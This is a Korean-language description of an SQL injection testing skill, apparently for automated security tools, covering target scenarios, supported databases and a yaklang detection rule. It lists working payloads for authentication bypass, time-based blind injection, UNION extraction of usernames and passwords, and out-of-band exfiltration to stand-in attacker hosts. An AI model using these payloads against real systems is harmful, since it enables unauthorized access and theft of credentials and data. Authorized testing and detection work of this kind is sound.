sqli-sql-injection은(는) 무엇을 하나요?
SQL 인젝션 플레이북. 입력이 SQL 쿼리, 인증 로직, 정렬, 필터링, 보고, 또는 데이터베이스별 블라인드 및 아웃오브밴드 실행 경로에 도달할 때 사용합니다.
개요
이 스킬은 SQL 인젝션 취약점을 식별하고 악용하기 위한 체계적인 접근 방식을 제공합니다. 다음과 같은 시나리오에 적합합니다:
- 로그인 폼, 검색 필드, API 파라미터 등 사용자 입력이 SQL 쿼리에 포함되는 경우
ORDER BY,GROUP BY,LIMIT등 정렬 및 필터링 구문에 사용자 입력이 사용되는 경우- 데이터베이스 오류 메시지를 노출하는 에러 기반 인젝션
- 시간 지연 함수(
SLEEP,WAITFOR DELAY등)를 사용한 블라인드 인젝션 - 외부 통신(DNS, HTTP)을 통한 아웃오브밴드(OOB) 데이터 추출
지원 데이터베이스
- MariaDB / MySQL
- PostgreSQL
- Oracle
- Microsoft SQL Server (MSSQL)
- SQLite (제한적 지원)
사용 방법
이 스킬은 일반적으로 자동화 보안 도구나 스크립트 내에서 호출됩니다. 예시:
# yaklang 규칙 예시
rules:
- id: sqli-detection
match:
- "' OR '1'='1"
- "\" OR 1=1--"
- "'; SLEEP(5)--"
output: "SQL 인젝션 가능성이 있습니다."
페이로드 예시
인증 우회
' OR '1'='1' --
" OR 1=1 --
admin' --
시간 기반 블라인드
' OR SLEEP(5)--
1; WAITFOR DELAY '00:00:05'--
'; SELECT pg_sleep(5)--
UNION 기반 데이터 추출
' UNION SELECT NULL, username, password FROM users--
1 UNION SELECT 1,2,3 FROM dual--
아웃오브밴드 (OOB)
'; EXEC xp_dirtree '\\attacker-server\test'--
' OR (SELECT load_file(concat('\\\\',(SELECT @@version),'.attacker.com\\test')))--
주의사항
- 실제 시스템에서 테스트할 때는 적절한 권한을 얻으십시오.
- 블라인드 인젝션은 시간 지연이 길어질 수 있으므로 타임아웃을 설정하십시오.
- OOB 페이로드는 네트워크 환경에 따라 동작하지 않을 수 있습니다.